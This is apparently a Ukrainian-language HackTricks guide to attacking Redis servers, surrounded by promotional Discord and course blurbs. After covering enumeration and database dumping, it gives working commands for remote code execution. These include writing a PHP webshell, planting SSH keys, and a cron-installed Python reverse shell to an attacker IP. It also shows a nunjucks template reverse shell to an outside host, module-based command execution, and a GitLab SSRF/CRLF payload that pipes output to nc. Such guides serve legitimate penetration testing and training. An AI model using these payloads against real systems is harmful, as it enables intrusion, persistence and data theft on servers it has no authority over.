6379 - Pentesting Redis

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Приєднуйтесь до HackenProof Discord, щоб спілкуватися з досвідченими хакерами та мисливцями за багами!

Інсайти щодо Хакінгу Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу

Новини про Хакінг у Реальному Часі Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі

Останні Оголошення Будьте в курсі найновіших запусків баг баунті та важливих оновлень платформи

Приєднуйтесь до нас на Discord та почніть співпрацювати з топовими хакерами вже сьогодні!

Основна Інформація

З документації: Redis - це відкрите програмне забезпечення (ліцензія BSD), яке використовується як сховище структур даних в пам'яті, використовується як база даних, кеш та посередник повідомлень).

За замовчуванням Redis використовує протокол на основі простого тексту, але слід пам'ятати, що він також може реалізувати ssl/tls. Дізнайтеся, як запустити Redis з ssl/tls тут.

Порт за замовчуванням: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Автоматичне перелікування

Деякі автоматизовані інструменти, які можуть допомогти отримати інформацію з екземпляра redis:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Ручне переліку

Банер

Redis - це текстовий протокол, ви можете просто надіслати команду через сокет, і отримані значення будуть читабельними. Також пам'ятайте, що Redis може працювати з використанням ssl/tls (але це дуже дивно).

У звичайному екземплярі Redis ви можете просто підключитися за допомогою nc або також можете використовувати redis-cli:

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

Першою командою, яку ви можете спробувати, є info. Вона може повернути вивід із інформацією про екземпляр Redis або щось подібне до наступного:

-NOAUTH Authentication required.

У цьому останньому випадку це означає, що вам потрібні дійсні облікові дані, щоб отримати доступ до екземпляра Redis.

Аутентифікація Redis

За замовчуванням Redis можна отримати доступ без облікових даних. Однак його можна налаштувати для підтримки тільки пароля або імені користувача + пароля. Можливо встановити пароль в файлі redis.conf з параметром requirepass або тимчасово до перезапуску служби, підключившись до неї та виконавши: config set requirepass p@ss$12E45. Також ім'я користувача можна налаштувати в параметрі masteruser всередині файлу redis.conf.

Якщо налаштований лише пароль, то використовується ім'я користувача "default". Також слід зауважити, що зовнішнім чином неможливо визначити, чи було Redis налаштовано лише з паролем чи ім'ям користувача + паролем.

У випадках, подібних до цього, вам потрібно знайти дійсні облікові дані, щоб взаємодіяти з Redis, тому ви можете спробувати перебрати їх. Якщо ви знайшли дійсні облікові дані, вам потрібно аутентифікувати сеанс після встановлення з'єднання за допомогою команди:

AUTH <username> <password>

Дійсні облікові дані будуть відповідати: +OK

Аутентифіковане переліку

Якщо сервер Redis дозволяє анонімні підключення або якщо ви отримали дійсні облікові дані, ви можете ініціювати процес переліку служби, використовуючи наступні команди:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

Інші команди Redis можна знайти тут і тут.

Зверніть увагу, що команди Redis екземпляра можуть бути перейменовані або видалені в файлі redis.conf. Наприклад, цей рядок видалить команду FLUSHDB:

rename-command FLUSHDB ""

Додаткову інформацію про безпечну настройку служби Redis можна знайти тут: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

Ви також можете моніторити в реальному часі виконані команди Redis за допомогою команди monitor або отримати топ 25 найповільніших запитів за допомогою slowlog get 25

Дізнайтеся більше цікавої інформації про інші команди Redis тут: https://lzone.de/cheat-sheet/Redis

Виведення бази даних

У Redis бази даних мають номери, що починаються з 0. Ви можете перевірити, чи яка-небудь з них використовується у виводі команди info в розділі "Keyspace":

Або ви можете просто отримати всі keyspaces (бази даних) за допомогою:

INFO keyspace

У цьому прикладі використовуються бази даних 0 та 1. База даних 0 містить 4 ключі, а база даних 1 містить 1. За замовчуванням Redis використовуватиме базу даних 0. Щоб, наприклад, вивантажити базу даних 1, вам потрібно виконати:

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

У разі отримання наступної помилки -WRONGTYPE Операція проти ключа, який містить неправильний тип значення під час виконання GET <KEY> це тому, що ключ може бути чимось іншим, ніж рядок або ціле число і вимагає спеціального оператора для відображення його.

Щоб дізнатися тип ключа, використовуйте команду TYPE, приклад нижче для ключів списку та хешу.

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

Вивантаження бази даних за допомогою npm redis-dump або python redis-utils

Приєднуйтесь до сервера HackenProof Discord, щоб спілкуватися з досвідченими хакерами та мисливцями за багами!

Інсайти щодо Хакінгу Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу

Новини про Хакінг у Реальному Часі Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі

Останні Оголошення Будьте в курсі найновіших баг-баунті, які запускаються, та важливих оновлень платформи

Приєднуйтесь до нас на Discord та почніть співпрацювати з найкращими хакерами вже сьогодні!

Redis RCE

Інтерактивна Оболонка

redis-rogue-server може автоматично отримати інтерактивну оболонку або зворотню оболонку в Redis (<=5.0.5).

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Веб-оболонка

Інформація з тут. Вам потрібно знати шлях до папки веб-сайту:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

Якщо виникла помилка доступу до веб-оболонки, ви можете очистити базу даних після резервного копіювання та спробувати ще раз, не забудьте відновити базу даних.

Шаблон веб-оболонки

Так само, як у попередньому розділі, ви також можете перезаписати деякий файл html-шаблону, який буде інтерпретований шаблонним движком, і отримати оболонку.

Наприклад, слідуючи за цією статтею, ви можете побачити, що зловмисник впровадив rev shell в html, який інтерпретується шаблонним движком nunjucks:

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

Зверніть увагу, що декілька шаблонних движків кешують шаблони в пам'яті, тому навіть якщо ви їх перезапишете, новий не буде виконаний. У цих випадках або розробник залишив автоматичне перезавантаження активним, або вам потрібно виконати DoS на службу (і очікувати, що вона буде автоматично перезапущена).

SSH

Приклад звідси

Будь ласка, зверніть увагу, що результат config get dir може змінитися після інших команд вручну. Рекомендується виконати його першим, одразу після входу в Redis. У виводі config get dir ви можете знайти домашню директорію користувача redis (зазвичай /var/lib/redis або /home/redis/.ssh), і знаючи це, ви знаєте, куди можна записати файл authenticated_users для доступу через ssh з користувачем redis. Якщо ви знаєте домашню директорію іншого дійсного користувача, де у вас є права на запис, ви також можете зловживати цим:

  1. Згенеруйте пару ключів ssh public-private на своєму комп'ютері: ssh-keygen -t rsa

  2. Запишіть публічний ключ у файл: (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt

  3. Імпортуйте файл в Redis: cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key

  4. Збережіть публічний ключ у файлі authorized_keys на сервері Redis:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. Нарешті, ви можете ssh на сервер Redis з приватним ключем: ssh -i id_rsa redis@10.85.0.52

Цю техніку автоматизовано тут: https://github.com/Avinash-acid/Redis-Server-Exploit

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

Останній приклад для Ubuntu, для Centos, вищезазначену команду слід змінити на: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

Цей метод також можна використовувати для заробітку біткоїнів: yam

Завантаження модуля Redis

  1. Дотримуючись інструкцій з https://github.com/n0b0dyCN/RedisModules-ExecuteCommand ви можете скомпілювати модуль Redis для виконання довільних команд.

  2. Потім вам потрібно якось завантажити скомпільований модуль

  3. Завантажте завантажений модуль під час виконання за допомогою MODULE LOAD /path/to/mymodule.so

  4. Перелік завантажених модулів для перевірки правильності завантаження: MODULE LIST

  5. Виконайте команди:

127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. Відключіть модуль в будь-який момент: MODULE UNLOAD mymodule

Обхід пісочниці LUA

Тут можна побачити, що Redis використовує команду EVAL для виконання Lua-коду в пісочниці. У зазначеному пості можна побачити, як це можна зловживати, використовуючи функцію dofile, але здається це вже не можливо. У будь-якому випадку, якщо ви зможете обійти пісочницю Lua, ви зможете виконувати довільні команди в системі. Також, з того ж поста ви можете побачити деякі варіанти спричинення DoS.

Деякі CVE для виходу з LUA:

Модуль Майстер-Слейв

Майстер Redis всі операції автоматично синхронізуються з редисом-слейвом, що означає, що ми можемо розглядати уразливий редіс як редіс-слейв, підключений до майстер-редісу, який ми контролюємо, тоді ми можемо вводити команди до нашого власного редісу.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF розмова з Redis

Якщо ви можете надіслати запит чітким текстом до Redis, ви зможете спілкуватися з ним, оскільки Redis буде читати запит по рядках і просто відповідати помилками на рядки, які він не розуміє:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Отже, якщо ви знайдете уразливість SSRF на веб-сайті і можете контролювати деякі заголовки (можливо, за допомогою уразливості CRLF) або POST-параметри, ви зможете відправляти довільні команди в Redis.

Приклад: Gitlab SSRF + CRLF на Shell

У Gitlab11.4.7 була виявлена уразливість SSRF та CRLF. Уразливість SSRF була в функціоналі імпорту проекту з URL-адреси при створенні нового проекту та дозволяла отримувати доступ до довільних IP-адрес у формі [0:0:0:0:0:ffff:127.0.0.1] (це дозволить отримати доступ до 127.0.0.1), а уразливість CRLF була використана просто додаванням символів %0D%0A до URL.

Отже, було можливо зловживати цими уразливостями для спілкування з екземпляром Redis, який керує чергами з gitlab та зловживати цими чергами для отримання виконання коду. Пакет зловживання чергою Redis:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

І запит URL encode, зловживаючи SSRF та CRLF для виконання whoami та надсилання виводу через nc, має наступний вигляд:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

З якоїсь причини (як для автора https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/, звідки була взята ця інформація), експлуатація працювала з схемою git, а не з схемою http.

Приєднуйтесь до HackenProof Discord сервера, щоб спілкуватися з досвідченими хакерами та мисливцями за багами!

Інсайти щодо Хакінгу Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу

Новини про Хакінг у Реальному Часі Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі

Останні Оголошення Будьте в курсі найновіших запусків баг баунті та важливих оновлень платформи

Приєднуйтесь до нас на Discord та почніть співпрацювати з топовими хакерами вже сьогодні!

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated